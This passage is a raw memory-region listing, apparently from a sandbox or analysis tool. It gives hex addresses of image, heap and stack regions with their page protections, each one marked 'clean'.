7FF529D88000
unkown image
page readonly
clean
7FF596C58000
unkown image
page readonly
clean
24B80CC7000
heap default
page read and write
clean
7FFA36202000
unkown
page execute and read and write
clean
1FF6C1C0000
unkown image
page readonly
clean
24B80D01000
heap default
page read and write
clean
7FF509EDD000
unkown image
page readonly
clean
7FF56E3C4000
unkown image
page readonly
clean
F212FFB000
stack
page read and write
clean
1C537513000
unkown
page read and write
clean
24B80C90000
unkown
page read and write
clean
7FF583801000
unkown image
page readonly
clean
7FF5684D6000
unkown image
page readonly
clean
7FF50E928000
unkown image
page readonly
clean
254AB060000
unkown image
page readonly
clean
173F3930000
unkown
page read and write
clean
1F164730000
unkown
page read and write
clean
7DF5D4A82000
unkown image
page readonly
clean
6C035FE000
stack
page read and write
clean
1EAE3FE000
stack
page read and write
clean
7FF56E56F000
unkown image
page readonly
clean
173F345B000
unkown
page read and write
clean
7FF513B78000
unkown image
page readonly
clean
7FF5BF954000
unkown image
page readonly
clean
20C1AB4A000
unkown
page read and write
clean
7D146FD000
unkown
page read and write
clean
5084DFC000
stack
page read and write
clean
7FF513A74000
unkown image
page readonly
clean
12851000
unkown
page read and write
clean
5E7000
unkown
page read and write
clean
20C1A0F0000
unkown image
page readonly
clean
1DCDA7F0000
unkown image
page readonly
clean
7DF4BDEF0000
unkown image
page readonly
clean
420000
unkown image
page readonly
clean
20C1AB8B000
unkown
page read and write
clean
1DCDAA60000
heap private
page read and write
clean
7DF598A92000
unkown image
page readonly
clean
1A5F02D0000
unkown
page read and write
clean
7FF50E59A000
unkown image
page readonly
clean
20C1AB93000
unkown
page read and write
clean
F21307C000
stack
page read and write
clean
1A5EFFF0000
unkown image
page readonly
clean
7DF53EE90000
unkown image
page readonly
clean
7FF56E682000
unkown image
page readonly
clean
27EC29B8000
heap default
page read and write
clean
1C537449000
unkown
page read and write
clean
7FF5993E4000
unkown image
page readonly
clean
19DEB930000
unkown
page read and write
clean
1C5372A0000
unkown image
page read and write
clean
7FF596D12000
unkown image
page readonly
clean
7FF583988000
unkown image
page readonly
clean
7FF5311BB000
unkown image
page readonly
clean
7DF583702000
unkown image
page readonly
clean
9F4FFFF000
stack
page read and write
clean
540000
unkown image
page readonly
clean
7FF513B3C000
unkown image
page readonly
clean
7FF50A211000
unkown image
page readonly
clean
AF324FE000
stack
page read and write
clean
7FF5298E6000
unkown image
page readonly
clean
27EC2985000
heap private
page read and write
clean
21B0D202000
unkown
page read and write
clean
19DEBF70000
heap private
page read and write
clean
7DF5C0030000
unkown image
page readonly
clean
7FF588D09000
unkown image
page readonly
clean
7FF50A55F000
unkown image
page readonly
clean
7FF58386D000
unkown image
page readonly
clean
24EF1C40000
unkown image
page readonly
clean
7FF513C02000
unkown image
page readonly
clean
1ECA8B30000
unkown image
page readonly
clean
7FF5FFFE0000
unkown image
page readonly
clean
27EC29E8000
unkown
page read and write
clean
1FF6C070000
unkown image
page read and write
clean
19DEBA9B000
unkown
page read and write
clean
7FF50E7A1000
unkown image
page readonly
clean
7FF583957000
unkown image
page readonly
clean
150000
unkown image
page readonly
clean
1F0000
unkown image
page readonly
clean
7DF5C0040000
unkown image
page readonly
clean
1DCDA860000
heap default
page read and write
clean
1C537508000
unkown
page read and write
clean
7FF529C1E000
unkown image
page readonly
clean
2851000
unkown
page read and write
clean
20C1AB86000
unkown
page read and write
clean
7FF5FFFE2000
unkown image
page readonly
clean
7FF513B3F000
unkown image
page readonly
clean
20C1AB82000
unkown
page read and write
clean
20C1AB88000
unkown
page read and write
clean
1F164540000
unkown
page read and write
clean
7FF56858A000
unkown image
page readonly
clean
930000
heap private
page read and write
clean
7FF5FFFF0000
unkown image
page readonly
clean
4BC016E000
stack
page read and write
clean
7FF50E813000
unkown image
page readonly
clean
AF329F7000
stack
page read and write
clean
7FF513B8D000
unkown image
page readonly
clean
4BC087E000
stack
page read and write
clean
1C53744E000
unkown
page read and write
clean
7FF57B7C0000
unkown image
page readonly
clean
410000
unkown image
page readonly
clean
7FF567DAD000
unkown image
page readonly
clean
7FF529D0C000
unkown image
page readonly
clean
7FF588D09000
unkown image
page readonly
clean
173F3AB5000
heap private
page read and write
clean
1B01E000
stack
page read and write
clean
64F000
heap default
page read and write
clean
850000
unkown image
page write copy
clean
7FF529D64000
unkown image
page readonly
clean
24B80B50000
unkown image
page readonly
clean
7FF513B64000
unkown image
page readonly
clean
24B80CE0000
heap default
page read and write
clean
7DF51F702000
unkown image
page readonly
clean
7DF5686C0000
unkown image
page readonly
clean
173F33A0000
unkown
page read and write
clean
21B0CD20000
unkown
page read and write
clean
7FF5FFFE0000
unkown image
page readonly
clean
5DE000
heap default
page read and write
clean
840000
unkown image
page read and write
clean
7FF56E682000
unkown image
page readonly
clean
24B80D01000
unkown
page read and write
clean
508497F000
stack
page read and write
clean
7DF598AA0000
unkown image
page readonly
clean
254AB239000
unkown
page read and write
clean
8C0000
unkown image
page read and write
clean
27EC2950000
unkown
page read and write
clean
7FF55DEF9000
unkown image
page readonly
clean
7FF58381B000
unkown image
page readonly
clean
1C537C02000
unkown
page read and write
clean
19DEBA7F000
unkown
page read and write
clean
7FF55361A000
unkown image
page readonly
clean
7DF51F6F2000
unkown image
page readonly
clean
B40000
unkown image
page readonly
clean
89C00FF000
stack
page read and write
clean
21B0CD60000
unkown image
page readonly
clean
7FF5993A0000
unkown image
page readonly
clean
1A5EFFB0000
unkown image
page read and write
clean
1DCDAA69000
heap private
page read and write
clean
20000
unkown image
page readonly
clean
2E6C000
stack
page read and write
clean
20C1AB8B000
unkown
page read and write
clean
27EC29E8000
unkown
page read and write
clean
7FF50A613000
unkown image
page readonly
clean
173F347D000
unkown
page read and write
clean
24B80CC0000
heap default
page read and write
clean
20C1AB82000
unkown
page read and write
clean
150000
unkown image
page readonly
clean
7FF529E11000
unkown image
page readonly
clean
19DEBA60000
heap default
page read and write
clean
173F3427000
heap default
page read and write
clean
7DF57D6D0000
unkown image
page readonly
clean
24EF1C70000
unkown image
page readonly
clean
7FF529C73000
unkown image
page readonly
clean
254AB410000
unkown
page read and write
clean
24EF2380000
unkown image
page readonly
clean
173F3460000
unkown
page read and write
clean
7FF553598000
unkown image
page readonly
clean
160000
unkown image
page readonly
clean
7FF596C0C000
unkown image
page readonly
clean
7DF574860000
unkown image
page readonly
clean
7DF523A32000
unkown image
page readonly
clean
173F3AB0000
heap private
page read and write
clean
19DEBA7B000
unkown
page read and write
clean
99F107F000
stack
page read and write
clean
7DF5686B0000
unkown image
page readonly
clean
27EC28C0000
unkown
page read and write
clean
173F3420000
heap default
page read and write
clean
7FF5136D0000
unkown image
page readonly
clean
20C1B000000
unkown
page read and write
clean
1ECA8641000
unkown
page read and write
clean
7DF5C0030000
unkown image
page readonly
clean
7DF5686A2000
unkown image
page readonly
clean
24EF1C90000
heap default
page read and write
clean
7FF50E904000
unkown image
page readonly
clean
1ECA8655000
unkown
page read and write
clean
1A5F02C9000
heap private
page read and write
clean
7DF4D2950000
unkown image
page readonly
clean
7DF574850000
unkown image
page readonly
clean
7FF58394F000
unkown image
page readonly
clean
12855000
unkown
page read and write
clean
24B80D1E000
heap default
page read and write
clean
7FF50E9B2000
unkown image
page readonly
clean
7DF5C0020000
unkown image
page readonly
clean
F212F7E000
stack
page read and write
clean
7FF529C8C000
unkown image
page readonly
clean
7DF583720000
unkown image
page readonly
clean
2C6E000
stack
page read and write
clean
19DEBA7F000
unkown
page read and write
clean
7FF50A3B4000
unkown image
page readonly
clean
7FF53120E000
unkown image
page readonly
clean
173F33B0000
unkown image
page readonly
clean
27EC2A99000
unkown
page read and write
clean
7FF596A54000
unkown image
page readonly
clean
20C1AB84000
unkown
page read and write
clean
7FF50A3C1000
unkown image
page readonly
clean
1F1644F0000
unkown image
page readonly
clean
7DF53EEA2000
unkown image
page readonly
clean
7FF50E480000
unkown image
page readonly
clean
1ECA8620000
unkown image
page readonly
clean
7FF5993AB000
unkown image
page readonly
clean
1F0000
unkown image
page readonly
clean
7FF529D37000
unkown image
page readonly
clean
7FF5BF989000
unkown image
page readonly
clean
7FF529D20000
unkown image
page readonly
clean
1FF6C200000
unkown
page read and write
clean
7FF5991D4000
unkown image
page readonly
clean
7FF5311B2000
unkown image
page readonly
clean
20C1A24D000
unkown
page read and write
clean
508487D000
unkown
page read and write
clean
7FF5FFFD0000
unkown image
page readonly
clean
8D0000
unkown
page read and write
clean
24EF1F13000
unkown
page read and write
clean
7FF58388C000
unkown image
page readonly
clean
2E70000
unkown
page read and write
clean
5D0000
unkown
page read and write
clean
1FF6C780000
unkown image
page readonly
clean
7DF5686A0000
unkown image
page readonly
clean
1C53744B000
unkown
page read and write
clean
7FF5834F5000
unkown image
page readonly
clean
20C1A289000
unkown
page read and write
clean
7FF5AAFA2000
unkown image
page readonly
clean
7DF5ABDA2000
unkown image
page readonly
clean
7DF5686B2000
unkown image
page readonly
clean
8D0000
heap private
page read and write
clean
27EC2AA0000
unkown image
page readonly
clean
7FF50A5EE000
unkown image
page readonly
clean
5D5000
unkown
page read and write
clean
20C1A140000
heap default
page read and write
clean
20C1A2B1000
unkown
page read and write
clean
7FF568632000
unkown image
page readonly
clean
1ECA8630000
heap default
page read and write
clean
F212EFE000
stack
page read and write
clean
7FF5BF94A000
unkown image
page readonly
clean
254AB060000
unkown image
page readonly
clean
2A6E000
stack
page read and write
clean
1DCDA7D0000
unkown image
page read and write
clean
7FF5993D8000
unkown image
page readonly
clean
7FF56854B000
unkown image
page readonly
clean
19DEBF75000
heap private
page read and write
clean
7FF509ECE000
unkown image
page readonly
clean
24EF1E2C000
unkown
page read and write
clean
7FF529C1B000
unkown image
page readonly
clean
DC0B77B000
stack
page read and write
clean
1A5F0010000
unkown
page read and write
clean
610000
heap default
page read and write
clean
7DF574860000
unkown image
page readonly
clean
C80000
unkown image
page readonly
clean
7DF574842000
unkown image
page readonly
clean
7DF57D6C2000
unkown image
page readonly
clean
6C036FE000
stack
page read and write
clean
21B0CD30000
unkown image
page readonly
clean
7FF5FFFF0000
unkown image
page readonly
clean
7FF513B86000
unkown image
page readonly
clean
20C1AB82000
unkown
page read and write
clean
7FF56E5DA000
unkown image
page readonly
clean
7FF50A5AF000
unkown image
page readonly
clean
7FF5136E5000
unkown image
page readonly
clean
20C1A930000
unkown image
page write copy
clean
7DF5AE510000
unkown image
page readonly
clean
7FFA362CD000
unkown
page execute and read and write
clean
7FF50A54B000
unkown image
page readonly
clean
20000
unkown
page read and write
clean
24B80C70000
unkown
page read and write
clean
723717C000
stack
page read and write
clean
1FF6C27D000
unkown
page read and write
clean
7DF5ABD90000
unkown image
page readonly
clean
24EF1C20000
unkown image
page read and write
clean
306E000
stack
page read and write
clean
7FF50E939000
unkown image
page readonly
clean
7DF53EE92000
unkown image
page readonly
clean
7FF50E42E000
unkown image
page readonly
clean
7FF5837E1000
unkown image
page readonly
clean
20C1AB8F000
unkown
page read and write
clean
5D0000
unkown
page read and write
clean
7FF599492000
unkown image
page readonly
clean
1C537500000
unkown
page read and write
clean
7DF5D4A90000
unkown image
page readonly
clean
7DF57D6C0000
unkown image
page readonly
clean
7FF56E58A000
unkown image
page readonly
clean
7FF50E217000
unkown image
page readonly
clean
7FF568577000
unkown image
page readonly
clean
7FF50A54F000
unkown image
page readonly
clean
24B80B40000
unkown
page read and write
clean
930000
unkown
page read and write
clean
7FF529D57000
unkown image
page readonly
clean
281E000
stack
page read and write
clean
24B80D1E000
unkown
page read and write
clean
20C1AB8F000
unkown
page read and write
clean
7FF553530000
unkown image
page readonly
clean
173F33A0000
unkown
page read and write
clean
7FF55F7C2000
unkown image
page readonly
clean
7DF5C0040000
unkown image
page readonly
clean
2380000
heap private
page execute and read and write
clean
7FF513387000
unkown image
page readonly
clean
7DF51F700000
unkown image
page readonly
clean
21B0CE02000
unkown
page read and write
clean
173F3400000
unkown
page read and write
clean
27EC29A0000
heap default
page read and write
clean
7FF50E67B000
unkown image
page readonly
clean
19DEB940000
unkown image
page readonly
clean
1DCDA810000
unkown image
page readonly
clean
20C1AB7B000
unkown
page read and write
clean
7FF59937F000
unkown image
page readonly
clean
24EF1C60000
unkown image
page readonly
clean
7FF5AAF29000
unkown image
page readonly
clean
7FF50A5B7000
unkown image
page readonly
clean
950000
unkown
page read and write
clean
7FF596C4F000
unkown image
page readonly
clean
1C537400000
unkown
page read and write
clean
1F164950000
unkown image
page readonly
clean
7FFA362C0000
unkown
page read and write
clean
7FF50A597000
unkown image
page readonly
clean
1A5F0060000
heap default
page read and write
clean
960000
unkown
page read and write
clean
1C537413000
unkown
page read and write
clean
20C1A2ED000
unkown
page read and write
clean
27EC27C0000
unkown image
page readonly
clean
20C1AB82000
unkown
page read and write
clean
173F33D0000
unkown image
page readonly
clean
7FF583974000
unkown image
page readonly
clean
7FF5FFFD0000
unkown image
page readonly
clean
20C1A2F7000
unkown
page read and write
clean
7FF5FFFD2000
unkown image
page readonly
clean
19DEBA72000
unkown
page read and write
clean
7FF5AAF0F000
unkown image
page readonly
clean
7DF57D6C0000
unkown image
page readonly
clean
7FF50E914000
unkown image
page readonly
clean
72377FF000
stack
page read and write
clean
7FF479690000
unkown image
page readonly
clean
1EADFFE000
stack
page read and write
clean
1ECA8920000
heap private
page read and write
clean
A7E000
stack
page read and write
clean
7FF529AD0000
unkown image
page readonly
clean
7FF5685BD000
unkown image
page readonly
clean
20C1A190000
unkown image
page readonly
clean
7DF53EEA0000
unkown image
page readonly
clean
2340000
unkown image
page readonly
clean
7DF5C0040000
unkown image
page readonly
clean
1E0000
heap private
page read and write
clean
1FF6C24B000
unkown
page read and write
clean
7FF50A23A000
unkown image
page readonly
clean
20C1AB8B000
unkown
page read and write
clean
7FF50E6C0000
unkown image
page readonly
clean
7DF598AB0000
unkown image
page readonly
clean
7FF50E8EC000
unkown image
page readonly
clean
7FF50A3D1000
unkown image
page readonly
clean
20C1AB15000
unkown
page read and write
clean
7FF50E91F000
unkown image
page readonly
clean
7FF55F714000
unkown image
page readonly
clean
20C1AB82000
unkown
page read and write
clean
7FF596BEB000
unkown image
page readonly
clean
20C1AB9D000
unkown
page read and write
clean
99F10F9000
stack
page read and write
clean
7FF529D1A000
unkown image
page readonly
clean
7DF5ABDA2000
unkown image
page readonly
clean
1F1644C0000
unkown image
page readonly
clean
7DF53EE90000
unkown image
page readonly
clean
7FF50E8AA000
unkown image
page readonly
clean
7FF50E8C0000
unkown image
page readonly
clean
7FF567D85000
unkown image
page readonly
clean
964000
unkown
page read and write
clean
24EF2200000
unkown image
page readonly
clean
7DF598A90000
unkown image
page readonly
clean
7FF50A58B000
unkown image
page readonly
clean
27EC29E4000
unkown
page read and write
clean
7FF50A672000
unkown image
page readonly
clean
24EF1E8B000
unkown
page read and write
clean
20C1A2EC000
unkown
page read and write
clean
5E7000
unkown
page read and write
clean
7DF574840000
unkown image
page readonly
clean
1ECA85E0000
unkown
page read and write
clean
21B0CD10000
unkown image
page read and write
clean
1DCDA810000
unkown image
page readonly
clean
89C037F000
stack
page read and write
clean
27EC29D1000
heap default
page read and write
clean
173F343F000
unkown
page read and write
clean
7FF568584000
unkown image
page readonly
clean
7FF5993CF000
unkown image
page readonly
clean
7DF5AE522000
unkown image
page readonly
clean
7DF574840000
unkown image
page readonly
clean
1FF6C308000
unkown
page read and write
clean
19DEBA9B000
unkown
page read and write
clean
7FF56862A000
unkown image
page readonly
clean
1A5F0000000
unkown image
page readonly
clean
7DF546322000
unkown image
page readonly
clean
21B0CD50000
unkown image
page readonly
clean
1FF6C300000
unkown
page read and write
clean
99F0D8F000
stack
page read and write
clean
291C000
stack
page read and write
clean
61A000
heap default
page read and write
clean
7FF583999000
unkown image
page readonly
clean
7DF53EEA0000
unkown image
page readonly
clean
24EF2602000
unkown
page read and write
clean
173F347F000
unkown
page read and write
clean
7DF5ABDA0000
unkown image
page readonly
clean
10000
unkown image
page read and write
clean
7FF583A12000
unkown image
page readonly
clean
1A0000
unkown
page read and write
clean
7FF596C64000
unkown image
page readonly
clean
1A5EFFD0000
unkown image
page readonly
clean
20C1ABA0000
unkown
page read and write
clean
20C1A0E0000
heap private
page read and write
clean
7FF50A5D4000
unkown image
page readonly
clean
7FF50E701000
unkown image
page readonly
clean
7FF56E3E1000
unkown image
page readonly
clean
7FF50A664000
unkown image
page readonly
clean
20C1A170000
unkown
page read and write
clean
7DF528C90000
unkown image
page readonly
clean
27EC2A07000
unkown
page read and write
clean
7FF50E4D7000
unkown image
page readonly
clean
20C1ABBD000
unkown
page read and write
clean
7DF5D4AA0000
unkown image
page readonly
clean
20C1AB82000
unkown
page read and write
clean
7DF4AC3E0000
unkown image
page readonly
clean
7DF5ABDA0000
unkown image
page readonly
clean
7FF5AAEF4000
unkown image
page readonly
clean
7FF50E8C5000
unkown image
page readonly
clean
20C1A0F0000
unkown image
page readonly
clean
7FF596BFF000
unkown image
page readonly
clean
19DEBA70000
unkown
page read and write
clean
1FF6C0E0000
heap default
page read and write
clean
7FF50E80D000
unkown image
page readonly
clean
549000
heap default
page read and write
clean
27EC27A0000
unkown image
page readonly
clean
1FF6C080000
heap private
page read and write
clean
20C1ABA0000
unkown
page read and write
clean
9F502FF000
stack
page read and write
clean
1FF6C400000
unkown image
page readonly
clean
7FF568624000
unkown image
page readonly
clean
1ECA8560000
unkown image
page read and write
clean
7FF529D1E000
unkown image
page readonly
clean
7FF553622000
unkown image
page readonly
clean
598000
unkown
page read and write
clean
20C1ABD4000
unkown
page read and write
clean
1FF6C0C0000
unkown image
page readonly
clean
7DF5D4A90000
unkown image
page readonly
clean
4BC0777000
stack
page read and write
clean
7DF598AA0000
unkown image
page readonly
clean
7DF5686A0000
unkown image
page readonly
clean
7FF553568000
unkown image
page readonly
clean
7FF5FFFE0000
unkown image
page readonly
clean
7FF57B7C2000
unkown image
page readonly
clean
24EF1E00000
unkown
page read and write
clean
19DEB940000
unkown image
page readonly
clean
7DF574852000
unkown image
page readonly
clean
7DF57D6B2000
unkown image
page readonly
clean
7FF529E0A000
unkown image
page readonly
clean
7FF50E8D7000
unkown image
page readonly
clean
1DCDA7F0000
unkown image
page readonly
clean
20C1AB88000
unkown
page read and write
clean
7DF598AA2000
unkown image
page readonly
clean
6C032FE000
stack
page read and write
clean
20C1AB9C000
unkown
page read and write
clean
1C537488000
unkown
page read and write
clean
24EF1E81000
unkown
page read and write
clean
1F164535000
heap private
page read and write
clean
7FF5312A1000
unkown image
page readonly
clean
5084BFF000
stack
page read and write
clean
20C1B06A000
unkown
page read and write
clean
7FF56856F000
unkown image
page readonly
clean
7FF56852A000
unkown image
page readonly
clean
5BC000
unkown
page read and write
clean
7FF50E936000
unkown image
page readonly
clean
1C53747E000
unkown
page read and write
clean
7DF5D4A92000
unkown image
page readonly
clean
7FF56E55B000
unkown image
page readonly
clean
1C53744D000
unkown
page read and write
clean
20C1B002000
unkown
page read and write
clean
E00000
unkown image
page readonly
clean
5F6000
unkown
page read and write
clean
9F503FE000
stack
page read and write
clean
99F12FF000
stack
page read and write
clean
7FF5AAEEA000
unkown image
page readonly
clean
24EF1F02000
unkown
page read and write
clean
7FF5FFFF0000
unkown image
page readonly
clean
7FF5682BF000
unkown image
page readonly
clean
7FF513AFC000
unkown image
page readonly
clean
7FF5AAFA2000
unkown image
page readonly
clean
7DF528C82000
unkown image
page readonly
clean
7FF529A97000
unkown image
page readonly
clean
2B6E000
stack
page read and write
clean
7DF523A40000
unkown image
page readonly
clean
160000
unkown image
page readonly
clean
7DF4A9C60000
unkown image
page readonly
clean
7FF583884000
unkown image
page readonly
clean
7FF596A71000
unkown image
page readonly
clean
20C1A308000
unkown
page read and write
clean
21B0CF02000
unkown
page read and write
clean
7FF529D0A000
unkown image
page readonly
clean
27EC27D0000
unkown image
page readonly
clean
1A5EFFD0000
unkown image
page readonly
clean
19DEBAB9000
unkown
page read and write
clean
7FF513B89000
unkown image
page readonly
clean
1DCDAA65000
heap private
page read and write
clean
4F0000
unkown
page read and write
clean
7FF599374000
unkown image
page readonly
clean
1FF6C213000
unkown
page read and write
clean
5EB000
heap default
page read and write
clean
20C1A2A6000
unkown
page read and write
clean
21B0D302000
unkown
page read and write
clean
19DEBB60000
unkown
page read and write
clean
254AB400000
heap private
page read and write
clean
170000
unkown
page read and write
clean
7FF4795F0000
unkown
page execute and read and write
clean
5DE000
unkown
page read and write
clean
7FF513B27000
unkown image
page readonly
clean
7DF5ABD92000
unkown image
page readonly
clean
24B80CFC000
heap default
page read and write
clean
7DF5D4A80000
unkown image
page readonly
clean
7FF50A56A000
unkown image
page readonly
clean
2862000
unkown
page read and write
clean
7FF583191000
unkown image
page readonly
clean
27EC2A07000
unkown
page read and write
clean
7FF58394C000
unkown image
page readonly
clean
7DF523A42000
unkown image
page readonly
clean
8B0000
unkown
page read and write
clean
20C1AB82000
unkown
page read and write
clean
7FF513BFA000
unkown image
page readonly
clean
F21317E000
stack
page read and write
clean
27EC29E2000
unkown
page read and write
clean
7DF57D6B0000
unkown image
page readonly
clean
7FF5312A2000
unkown image
page readonly
clean
7DF41D5C0000
unkown image
page readonly
clean
7FF58398E000
unkown image
page readonly
clean
7FF596D12000
unkown image
page readonly
clean
20C1A302000
unkown
page read and write
clean
261E000
stack
page read and write
clean
7DF528C92000
unkown image
page readonly
clean
7FF596C2B000
unkown image
page readonly
clean
19DEB960000
unkown image
page readonly
clean
20C1B002000
unkown
page read and write
clean
7FF529D25000
unkown image
page readonly
clean
60D000
heap default
page read and write
clean
535000
unkown
page read and write
clean
21B0CF23000
heap private
page read and write
clean
7FF529B71000
unkown image
page readonly
clean
20C1ABB8000
unkown
page read and write
clean
7FF596A56000
unkown image
page readonly
clean
7FF596BF4000
unkown image
page readonly
clean
7DF598AA2000
unkown image
page readonly
clean
89C017E000
stack
page read and write
clean
7237678000
stack
page read and write
clean
7FF50A57A000
unkown image
page readonly
clean
20C1A254000
unkown
page read and write
clean
8C0000
heap private
page read and write
clean
1ECA865E000
unkown
page read and write
clean
7FF529C01000
unkown image
page readonly
clean
99F11FE000
stack
page read and write
clean
27EC2980000
heap private
page read and write
clean
7DF5ABD92000
unkown image
page readonly
clean
7FF553574000
unkown image
page readonly
clean
7FF5BFA02000
unkown image
page readonly
clean
7FF50E432000
unkown image
page readonly
clean
7FF513AFA000
unkown image
page readonly
clean
20C1AB62000
unkown
page read and write
clean
173F33A0000
unkown
page read and write
clean
173F3390000
unkown image
page read and write
clean
7FF50A66A000
unkown image
page readonly
clean
5CA000
heap default
page read and write
clean
7FF5FFFE2000
unkown image
page readonly
clean
7DF546330000
unkown image
page readonly
clean
7FF50E7BB000
unkown image
page readonly
clean
20C1A1E0000
unkown
page read and write
clean
4BC01EE000
stack
page read and write
clean
7FF5139D1000
unkown image
page readonly
clean
7FF50A57E000
unkown image
page readonly
clean
7FF50E860000
unkown image
page readonly
clean
99F0D0A000
unkown
page read and write
clean
1C53742D000
unkown
page read and write
clean
68147BD000
unkown
page read and write
clean
20C1AB8D000
unkown
page read and write
clean
7DF583720000
unkown image
page readonly
clean
7DF5ABDB0000
unkown image
page readonly
clean
7FF57B7D0000
unkown image
page readonly
clean
8C5000
heap private
page read and write
clean
7FF513B7E000
unkown image
page readonly
clean
7DF5D4A80000
unkown image
page readonly
clean
1F1644B0000
unkown image
page read and write
clean
5CA000
unkown
page read and write
clean
540000
heap default
page read and write
clean
7FF50E213000
unkown image
page readonly
clean
20C1A2A7000
unkown
page read and write
clean
7FFA36332000
unkown
page read and write
clean
173F3460000
unkown
page read and write
clean
19DEB930000
unkown
page read and write
clean
7FF513B1B000
unkown image
page readonly
clean
7DF47B580000
unkown image
page readonly
clean
20C1A4D0000
unkown image
page readonly
clean
254AB060000
unkown image
page readonly
clean
7DF574860000
unkown image
page readonly
clean
7DF5C0032000
unkown image
page readonly
clean
173F342F000
unkown
page read and write
clean
1FF6C090000
unkown image
page readonly
clean
7DF5D4A80000
unkown image
page readonly
clean
AF3277B000
stack
page read and write
clean
1DCDA820000
unkown image
page readonly
clean
9F4FBED000
unkown
page read and write
clean
27EC2A8D000
unkown
page read and write
clean
4BC05FB000
stack
page read and write
clean
1DCDA840000
unkown
page read and write
clean
24B80D19000
unkown
page read and write
clean
19DEBEC0000
unkown
page read and write
clean
7DF4441F0000
unkown image
page readonly
clean
1A5F0000000
unkown image
page readonly
clean
62D000
unkown
page read and write
clean
7FF5991E1000
unkown image
page readonly
clean
7FF55358E000
unkown image
page readonly
clean
24B80B40000
unkown
page read and write
clean
1FF6C25D000
unkown
page read and write
clean
7FF59939A000
unkown image
page readonly
clean
7FF57B7C2000
unkown image
page readonly
clean
8A0000
unkown image
page readonly
clean
7FF56859F000
unkown image
page readonly
clean
7FF50E6F6000
unkown image
page readonly
clean
7FF513A7C000
unkown image
page readonly
clean
99F117A000
stack
page read and write
clean
723707E000
stack
page read and write
clean
7FF57B7D2000
unkown image
page readonly
clean
7DF583710000
unkown image
page readonly
clean
1C537800000
unkown image
page readonly
clean
7DF5686B0000
unkown image
page readonly
clean
21B0CE13000
unkown
page read and write
clean
20C1ABBD000
unkown
page read and write
clean
21B0CD80000
heap default
page read and write
clean
7DF528C92000
unkown image
page readonly
clean
20C1AB85000
unkown
page read and write
clean
20C1A213000
unkown
page read and write
clean
1B3CE000
stack
page read and write
clean
7DF523A32000
unkown image
page readonly
clean
7FF531204000
unkown image
page readonly
clean
1ECA8CB0000
unkown image
page readonly
clean
7FF5298E0000
unkown image
page readonly
clean
7FF529D9D000
unkown image
page readonly
clean
7237579000
stack
page read and write
clean
7FF56E5EF000
unkown image
page readonly
clean
7FF583A0A000
unkown image
page readonly
clean
7FF50A5F6000
unkown image
page readonly
clean
27EC27A0000
unkown image
page readonly
clean
550000
unkown image
page readonly
clean
27EC29E4000
unkown
page read and write
clean
5B8000
unkown
page read and write
clean
20C1AB00000
unkown
page read and write
clean
7FF56E5C8000
unkown image
page readonly
clean
1C537448000
unkown
page read and write
clean
7237377000
stack
page read and write
clean
89C007C000
unkown
page read and write
clean
19DEBAA0000
unkown
page read and write
clean
173F3432000
unkown
page read and write
clean
7DF51F710000
unkown image
page readonly
clean
1DCDA830000
unkown
page read and write
clean
20C1A1E0000
unkown
page read and write
clean
7DF5D4A92000
unkown image
page readonly
clean
1C5372C0000
unkown image
page readonly
clean
1ECA8656000
unkown
page read and write
clean
7FF5311B0000
unkown image
page readonly
clean
7FF509E86000
unkown image
page readonly
clean
20C1AA02000
unkown
page read and write
clean
7FF55DEF9000
unkown image
page readonly
clean
7FF531218000
unkown image
page readonly
clean
24B80B80000
unkown image
page readonly
clean
7FF56E609000
unkown image
page readonly
clean
254AB080000
unkown image
page readonly
clean
1C537402000
unkown
page read and write
clean
7FF50E486000
unkown image
page readonly
clean
7FF583920000
unkown image
page readonly
clean
27EC2CA0000
unkown image
page readonly
clean
20C1A2BE000
unkown
page read and write
clean
7FF56852C000
unkown image
page readonly
clean
20C1AB60000
unkown
page read and write
clean
7FF5991F1000
unkown image
page readonly
clean
7DF5AE512000
unkown image
page readonly
clean
20C1AB82000
unkown
page read and write
clean
1DCDA810000
unkown image
page readonly
clean
1A5F0000000
unkown image
page readonly
clean
7FF53129A000
unkown image
page readonly
clean
7FF529E04000
unkown image
page readonly
clean
7FF56E5BF000
unkown image
page readonly
clean
254AB409000
heap private
page read and write
clean
920000
unkown image
page readonly
clean
7FF50A504000
unkown image
page readonly
clean
8B0000
unkown
page read and write
clean
7FF596C7F000
unkown image
page readonly
clean
1E3000
heap private
page read and write
clean
7FF55357A000
unkown image
page readonly
clean
24B81200000
heap private
page read and write
clean
21B0CF00000
unkown
page read and write
clean
7FF56E57C000
unkown image
page readonly
clean
1F0000
heap private
page read and write
clean
20C1A850000
unkown image
page readonly
clean
20C1AB8A000
unkown
page read and write
clean
7FF4FE5E1000
unkown image
page readonly
clean
1F1644D0000
unkown image
page readonly
clean
2320000
unkown
page read and write
clean
7DF5C0022000
unkown image
page readonly
clean
7FF596C6A000
unkown image
page readonly
clean
7FF50E711000
unkown image
page readonly
clean
27EC3241000
unkown
page read and write
clean
59F000
heap default
page read and write
clean
7FF50E7BE000
unkown image
page readonly
clean
1C537502000
unkown
page read and write
clean
7FF529D4C000
unkown image
page readonly
clean
24EF2000000
unkown image
page readonly
clean
7FF583873000
unkown image
page readonly
clean
1DCDA87A000
heap default
page read and write
clean
20C1AB82000
unkown
page read and write
clean
7FF583964000
unkown image
page readonly
clean
7FF57B7D2000
unkown image
page readonly
clean
27EC2E20000
unkown image
page readonly
clean
7FF50E6F4000
unkown image
page readonly
clean
DC0B1FB000
unkown
page read and write
clean
58F000
unkown
page read and write
clean
7FF531294000
unkown image
page readonly
clean
7FF5298F5000
unkown image
page readonly
clean
7DF421900000
unkown image
page readonly
clean
7FF567DD6000
unkown image
page readonly
clean
7FF50E82C000
unkown image
page readonly
clean
7DF583700000
unkown image
page readonly
clean
7DF5D4A82000
unkown image
page readonly
clean
7FF50E7C8000
unkown image
page readonly
clean
7DF523A50000
unkown image
page readonly
clean
7DF528CA0000
unkown image
page readonly
clean
7FF50A410000
unkown image
page readonly
clean
7FF5834E6000
unkown image
page readonly
clean
5BF000
unkown
page read and write
clean
19DEBA6C000
heap default
page read and write
clean
7FF50E8F7000
unkown image
page readonly
clean
7FF50A5E8000
unkown image
page readonly
clean
7DF5C0020000
unkown image
page readonly
clean
7FF50A585000
unkown image
page readonly
clean
20C1AB7C000
unkown
page read and write
clean
27EC2A0F000
unkown
page read and write
clean
59F000
unkown
page read and write
clean
7FF5FFFD2000
unkown image
page readonly
clean
7FF5BF96F000
unkown image
page readonly
clean
173F343B000
unkown
page read and write
clean
20C1AB9B000
unkown
page read and write
clean
83E000
stack
page read and write
clean
20C1B002000
unkown
page read and write
clean
7FF50E39E000
unkown image
page readonly
clean
7FF58390A000
